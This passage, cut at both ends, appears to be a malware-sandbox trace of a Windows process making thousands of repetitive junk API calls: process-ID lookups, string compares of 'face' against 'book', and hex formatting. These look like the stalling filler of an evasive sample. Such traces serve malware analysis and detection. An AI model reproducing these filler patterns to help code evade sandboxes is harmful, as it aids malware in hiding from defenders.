out: param_1="23BAP") returned 5 [0041.663] SetLastError (dwErrCode=0x57) [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] lstrlenA (lpString="just string") returned 11 [0041.663] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.663] GetLastError () returned 0x57 [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] GetCurrentProcessId () returned 0x81c [0041.663] lstrlenA (lpString="just string") returned 11 [0041.663] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.663] GetLastError () returned 0x57 [0041.664] GetLastError () returned 0x57 [0041.664] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="23F6P") returned 5 [0041.664] SetLastError (dwErrCode=0x57) [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] lstrlenA (lpString="just string") returned 11 [0041.664] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.664] GetLastError () returned 0x57 [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] lstrlenA (lpString="just string") returned 11 [0041.664] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.664] GetLastError () returned 0x57 [0041.664] GetCurrentProcess () returned 0xffffffff [0041.664] GetLastError () returned 0x57 [0041.664] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2431P") returned 5 [0041.664] SetLastError (dwErrCode=0x57) [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetLastError () returned 0x57 [0041.664] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2432P") returned 5 [0041.664] SetLastError (dwErrCode=0x57) [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] lstrlenA (lpString="just string") returned 11 [0041.664] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.664] GetLastError () returned 0x57 [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] lstrlenA (lpString="just string") returned 11 [0041.664] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.664] GetLastError () returned 0x57 [0041.664] GetLastError () returned 0x57 [0041.664] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.664] SetLastError (dwErrCode=0x57) [0041.664] GetCurrentProcess () returned 0xffffffff [0041.664] GetLastError () returned 0x57 [0041.664] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2476P") returned 5 [0041.664] SetLastError (dwErrCode=0x57) [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcess () returned 0xffffffff [0041.664] GetLastError () returned 0x57 [0041.664] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2477P") returned 5 [0041.664] SetLastError (dwErrCode=0x57) [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetLastError () returned 0x57 [0041.664] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2478P") returned 5 [0041.664] SetLastError (dwErrCode=0x57) [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] GetCurrentProcessId () returned 0x81c [0041.664] lstrlenA (lpString="just string") returned 11 [0041.664] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.664] GetLastError () returned 0x57 [0041.665] GetLastError () returned 0x57 [0041.665] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.665] SetLastError (dwErrCode=0x57) [0041.665] GetCurrentProcess () returned 0xffffffff [0041.665] GetLastError () returned 0x57 [0041.665] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2494P") returned 5 [0041.665] SetLastError (dwErrCode=0x57) [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] GetCurrentProcess () returned 0xffffffff [0041.665] GetLastError () returned 0x57 [0041.665] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2495P") returned 5 [0041.665] SetLastError (dwErrCode=0x57) [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] GetLastError () returned 0x57 [0041.665] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2496P") returned 5 [0041.665] SetLastError (dwErrCode=0x57) [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] lstrlenA (lpString="just string") returned 11 [0041.665] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.665] GetLastError () returned 0x57 [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] lstrlenA (lpString="just string") returned 11 [0041.665] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.665] GetLastError () returned 0x57 [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] lstrlenA (lpString="just string") returned 11 [0041.665] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.665] GetLastError () returned 0x57 [0041.665] GetLastError () returned 0x57 [0041.665] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.665] SetLastError (dwErrCode=0x57) [0041.665] GetCurrentProcess () returned 0xffffffff [0041.665] GetLastError () returned 0x57 [0041.665] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="250CP") returned 5 [0041.665] SetLastError (dwErrCode=0x57) [0041.665] GetCurrentProcessId () returned 0x81c [0041.665] GetCurrentProcess () returned 0xffffffff [0041.665] GetLastError () returned 0x57 [0041.665] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="250DP") returned 5 [0041.665] SetLastError (dwErrCode=0x57) [0041.665] GetCurrentProcessId () returned 0x81c [0041.666] GetLastError () returned 0x57 [0041.666] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="250EP") returned 5 [0041.666] SetLastError (dwErrCode=0x57) [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] lstrlenA (lpString="just string") returned 11 [0041.666] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.666] GetLastError () returned 0x57 [0041.666] GetLastError () returned 0x57 [0041.666] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.666] SetLastError (dwErrCode=0x57) [0041.666] GetCurrentProcess () returned 0xffffffff [0041.666] GetLastError () returned 0x57 [0041.666] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2520P") returned 5 [0041.666] SetLastError (dwErrCode=0x57) [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetCurrentProcess () returned 0xffffffff [0041.666] GetLastError () returned 0x57 [0041.666] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2521P") returned 5 [0041.666] SetLastError (dwErrCode=0x57) [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetLastError () returned 0x57 [0041.666] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2522P") returned 5 [0041.666] SetLastError (dwErrCode=0x57) [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] lstrlenA (lpString="just string") returned 11 [0041.666] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.666] GetLastError () returned 0x57 [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] GetCurrentProcessId () returned 0x81c [0041.666] lstrlenA (lpString="just string") returned 11 [0041.666] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.666] GetLastError () returned 0x57 [0041.666] GetLastError () returned 0x57 [0041.666] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="257CP") returned 5 [0041.666] SetLastError (dwErrCode=0x57) [0041.666] GetCurrentProcessId () returned 0x81c [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] lstrlenA (lpString="just string") returned 11 [0041.667] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.667] GetLastError () returned 0x57 [0041.667] lstrlenA (lpString="just string") returned 11 [0041.667] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.667] GetLastError () returned 0x57 [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] lstrlenA (lpString="just string") returned 11 [0041.667] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.667] GetLastError () returned 0x57 [0041.667] lstrlenA (lpString="just string") returned 11 [0041.667] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.667] GetLastError () returned 0x57 [0041.667] GetLastError () returned 0x57 [0041.667] GetCurrentProcess () returned 0xffffffff [0041.667] GetLastError () returned 0x57 [0041.667] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2639P") returned 5 [0041.667] SetLastError (dwErrCode=0x57) [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] GetLastError () returned 0x57 [0041.667] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="263AP") returned 5 [0041.667] SetLastError (dwErrCode=0x57) [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] GetCurrentProcessId () returned 0x81c [0041.667] lstrlenA (lpString="just string") returned 11 [0041.667] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.667] GetLastError () returned 0x57 [0041.667] GetLastError () returned 0x57 [0041.667] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.667] SetLastError (dwErrCode=0x57) [0041.667] GetCurrentProcess () returned 0xffffffff [0041.667] GetLastError () returned 0x57 [0041.667] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2674P") returned 5 [0041.668] SetLastError (dwErrCode=0x57) [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcess () returned 0xffffffff [0041.668] GetLastError () returned 0x57 [0041.668] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2675P") returned 5 [0041.668] SetLastError (dwErrCode=0x57) [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetLastError () returned 0x57 [0041.668] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2676P") returned 5 [0041.668] SetLastError (dwErrCode=0x57) [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] lstrlenA (lpString="just string") returned 11 [0041.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.668] GetLastError () returned 0x57 [0041.668] GetCurrentProcess () returned 0xffffffff [0041.668] GetLastError () returned 0x57 [0041.668] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="26BBP") returned 5 [0041.668] SetLastError (dwErrCode=0x57) [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetLastError () returned 0x57 [0041.668] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="26BCP") returned 5 [0041.668] SetLastError (dwErrCode=0x57) [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] lstrlenA (lpString="just string") returned 11 [0041.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.668] GetLastError () returned 0x57 [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] lstrlenA (lpString="just string") returned 11 [0041.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.668] GetLastError () returned 0x57 [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] GetCurrentProcessId () returned 0x81c [0041.668] lstrlenA (lpString="just string") returned 11 [0041.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.668] GetLastError () returned 0x57 [0041.668] lstrlenA (lpString="just string") returned 11 [0041.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.668] GetLastError () returned 0x57 [0041.668] GetCurrentProcess () returned 0xffffffff [0041.668] GetLastError () returned 0x57 [0041.668] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="275BP") returned 5 [0041.668] SetLastError (dwErrCode=0x57) [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetLastError () returned 0x57 [0041.669] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="275CP") returned 5 [0041.669] SetLastError (dwErrCode=0x57) [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] lstrlenA (lpString="just string") returned 11 [0041.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.669] GetLastError () returned 0x57 [0041.669] GetLastError () returned 0x57 [0041.669] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.669] SetLastError (dwErrCode=0x57) [0041.669] GetCurrentProcess () returned 0xffffffff [0041.669] GetLastError () returned 0x57 [0041.669] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2778P") returned 5 [0041.669] SetLastError (dwErrCode=0x57) [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetCurrentProcess () returned 0xffffffff [0041.669] GetLastError () returned 0x57 [0041.669] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2779P") returned 5 [0041.669] SetLastError (dwErrCode=0x57) [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetLastError () returned 0x57 [0041.669] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="277AP") returned 5 [0041.669] SetLastError (dwErrCode=0x57) [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] lstrlenA (lpString="just string") returned 11 [0041.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.669] GetLastError () returned 0x57 [0041.669] lstrlenA (lpString="just string") returned 11 [0041.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.669] GetLastError () returned 0x57 [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] GetCurrentProcessId () returned 0x81c [0041.669] lstrlenA (lpString="just string") returned 11 [0041.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.669] GetLastError () returned 0x57 [0041.669] GetLastError () returned 0x57 [0041.669] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="27F2P") returned 5 [0041.670] SetLastError (dwErrCode=0x57) [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] lstrlenA (lpString="just string") returned 11 [0041.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.670] GetLastError () returned 0x57 [0041.670] lstrlenA (lpString="just string") returned 11 [0041.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.670] GetLastError () returned 0x57 [0041.670] GetLastError () returned 0x57 [0041.670] lstrlenA (lpString="just string") returned 11 [0041.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.670] GetLastError () returned 0x57 [0041.670] GetCurrentProcess () returned 0xffffffff [0041.670] GetLastError () returned 0x57 [0041.670] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2869P") returned 5 [0041.670] SetLastError (dwErrCode=0x57) [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] GetLastError () returned 0x57 [0041.670] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="286AP") returned 5 [0041.670] SetLastError (dwErrCode=0x57) [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] lstrlenA (lpString="just string") returned 11 [0041.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.670] GetLastError () returned 0x57 [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] lstrlenA (lpString="just string") returned 11 [0041.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.670] GetLastError () returned 0x57 [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] lstrlenA (lpString="just string") returned 11 [0041.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.670] GetLastError () returned 0x57 [0041.670] lstrlenA (lpString="just string") returned 11 [0041.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.670] GetLastError () returned 0x57 [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] GetCurrentProcessId () returned 0x81c [0041.670] lstrlenA (lpString="just string") returned 11 [0041.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.670] GetLastError () returned 0x57 [0041.671] GetLastError () returned 0x57 [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] lstrlenA (lpString="just string") returned 11 [0041.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.671] GetLastError () returned 0x57 [0041.671] GetCurrentProcess () returned 0xffffffff [0041.671] GetLastError () returned 0x57 [0041.671] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="29C7P") returned 5 [0041.671] SetLastError (dwErrCode=0x57) [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetLastError () returned 0x57 [0041.671] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="29C8P") returned 5 [0041.671] SetLastError (dwErrCode=0x57) [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] lstrlenA (lpString="just string") returned 11 [0041.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.671] GetLastError () returned 0x57 [0041.671] GetLastError () returned 0x57 [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] lstrlenA (lpString="just string") returned 11 [0041.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.671] GetLastError () returned 0x57 [0041.671] GetLastError () returned 0x57 [0041.671] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2A0EP") returned 5 [0041.671] SetLastError (dwErrCode=0x57) [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] lstrlenA (lpString="just string") returned 11 [0041.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.671] GetLastError () returned 0x57 [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] GetCurrentProcessId () returned 0x81c [0041.671] lstrlenA (lpString="just string") returned 11 [0041.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.671] GetLastError () returned 0x57 [0041.671] GetLastError () returned 0x57 [0041.672] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.672] SetLastError (dwErrCode=0x57) [0041.672] GetCurrentProcess () returned 0xffffffff [0041.672] GetLastError () returned 0x57 [0041.672] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2A48P") returned 5 [0041.672] SetLastError (dwErrCode=0x57) [0041.672] GetCurrentProcessId () returned 0x81c [0041.672] GetCurrentProcess () returned 0xffffffff [0041.672] GetLastError () returned 0x57 [0041.672] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2A49P") returned 5 [0041.672] SetLastError (dwErrCode=0x57) [0041.672] GetCurrentProcessId () returned 0x81c [0041.672] GetLastError () returned 0x57 [0041.672] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2A4AP") returned 5 [0041.672] SetLastError (dwErrCode=0x57) [0041.672] GetCurrentProcessId () returned 0x81c [0041.672] GetCurrentProcessId () returned 0x81c [0041.672] GetCurrentProcessId () returned 0x81c [0041.672] GetCurrentProcessId () returned 0x81c [0041.672] lstrlenA (lpString="just string") returned 11 [0041.672] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.672] GetLastError () returned 0x57 [0041.672] GetLastError () returned 0x57 [0041.672] GetLastError () returned 0x57 [0041.672] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.672] SetLastError (dwErrCode=0x57) [0041.672] GetCurrentProcess () returned 0xffffffff [0041.672] GetLastError () returned 0x57 [0041.672] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2AD4P") returned 5 [0041.672] SetLastError (dwErrCode=0x57) [0041.672] GetCurrentProcessId () returned 0x81c [0041.672] GetCurrentProcess () returned 0xffffffff [0041.672] GetLastError () returned 0x57 [0041.672] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2AD5P") returned 5 [0041.672] SetLastError (dwErrCode=0x57) [0041.672] GetCurrentProcessId () returned 0x81c [0041.672] GetLastError () returned 0x57 [0041.672] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2AD6P") returned 5 [0041.672] SetLastError (dwErrCode=0x57) [0041.672] GetCurrentProcessId () returned 0x81c [0041.672] GetCurrentProcessId () returned 0x81c [0041.673] GetCurrentProcessId () returned 0x81c [0041.673] GetCurrentProcessId () returned 0x81c [0041.673] lstrlenA (lpString="just string") returned 11 [0041.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.673] GetLastError () returned 0x57 [0041.673] GetLastError () returned 0x57 [0041.673] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.673] SetLastError (dwErrCode=0x57) [0041.673] GetCurrentProcess () returned 0xffffffff [0041.673] GetLastError () returned 0x57 [0041.673] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2AE8P") returned 5 [0041.673] SetLastError (dwErrCode=0x57) [0041.673] GetCurrentProcessId () returned 0x81c [0041.673] GetCurrentProcess () returned 0xffffffff [0041.673] GetLastError () returned 0x57 [0041.673] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2AE9P") returned 5 [0041.673] SetLastError (dwErrCode=0x57) [0041.673] GetCurrentProcessId () returned 0x81c [0041.673] GetLastError () returned 0x57 [0041.673] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2AEAP") returned 5 [0041.673] SetLastError (dwErrCode=0x57) [0041.673] GetCurrentProcessId () returned 0x81c [0041.673] GetCurrentProcessId () returned 0x81c [0041.673] GetCurrentProcessId () returned 0x81c [0041.673] GetCurrentProcessId () returned 0x81c [0041.673] lstrlenA (lpString="just string") returned 11 [0041.673] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.673] GetLastError () returned 0x57 [0041.673] GetLastError () returned 0x57 [0041.673] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.673] SetLastError (dwErrCode=0x57) [0041.673] GetCurrentProcess () returned 0xffffffff [0041.673] GetLastError () returned 0x57 [0041.673] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2AFCP") returned 5 [0041.673] SetLastError (dwErrCode=0x57) [0041.673] GetCurrentProcessId () returned 0x81c [0041.673] GetCurrentProcess () returned 0xffffffff [0041.673] GetLastError () returned 0x57 [0041.673] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2AFDP") returned 5 [0041.673] SetLastError (dwErrCode=0x57) [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetLastError () returned 0x57 [0041.674] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2AFEP") returned 5 [0041.674] SetLastError (dwErrCode=0x57) [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] lstrlenA (lpString="just string") returned 11 [0041.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.674] GetLastError () returned 0x57 [0041.674] GetLastError () returned 0x57 [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] lstrlenA (lpString="just string") returned 11 [0041.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.674] GetLastError () returned 0x57 [0041.674] GetLastError () returned 0x57 [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] lstrlenA (lpString="just string") returned 11 [0041.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.674] GetLastError () returned 0x57 [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] lstrlenA (lpString="just string") returned 11 [0041.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.674] GetLastError () returned 0x57 [0041.674] GetLastError () returned 0x57 [0041.674] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2BC6P") returned 5 [0041.674] SetLastError (dwErrCode=0x57) [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] lstrlenA (lpString="just string") returned 11 [0041.674] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.674] GetLastError () returned 0x57 [0041.674] GetCurrentProcess () returned 0xffffffff [0041.674] GetLastError () returned 0x57 [0041.674] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2BCFP") returned 5 [0041.674] SetLastError (dwErrCode=0x57) [0041.674] GetCurrentProcessId () returned 0x81c [0041.674] GetLastError () returned 0x57 [0041.674] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2BD0P") returned 5 [0041.674] SetLastError (dwErrCode=0x57) [0041.674] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] lstrlenA (lpString="just string") returned 11 [0041.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.675] GetLastError () returned 0x57 [0041.675] GetLastError () returned 0x57 [0041.675] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2C20P") returned 5 [0041.675] SetLastError (dwErrCode=0x57) [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] lstrlenA (lpString="just string") returned 11 [0041.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.675] GetLastError () returned 0x57 [0041.675] GetLastError () returned 0x57 [0041.675] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.675] SetLastError (dwErrCode=0x57) [0041.675] GetCurrentProcess () returned 0xffffffff [0041.675] GetLastError () returned 0x57 [0041.675] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2C64P") returned 5 [0041.675] SetLastError (dwErrCode=0x57) [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcess () returned 0xffffffff [0041.675] GetLastError () returned 0x57 [0041.675] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2C65P") returned 5 [0041.675] SetLastError (dwErrCode=0x57) [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetLastError () returned 0x57 [0041.675] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2C66P") returned 5 [0041.675] SetLastError (dwErrCode=0x57) [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] lstrlenA (lpString="just string") returned 11 [0041.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.675] GetLastError () returned 0x57 [0041.675] GetLastError () returned 0x57 [0041.675] GetCurrentProcessId () returned 0x81c [0041.675] lstrlenA (lpString="just string") returned 11 [0041.675] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.675] GetLastError () returned 0x57 [0041.676] GetCurrentProcess () returned 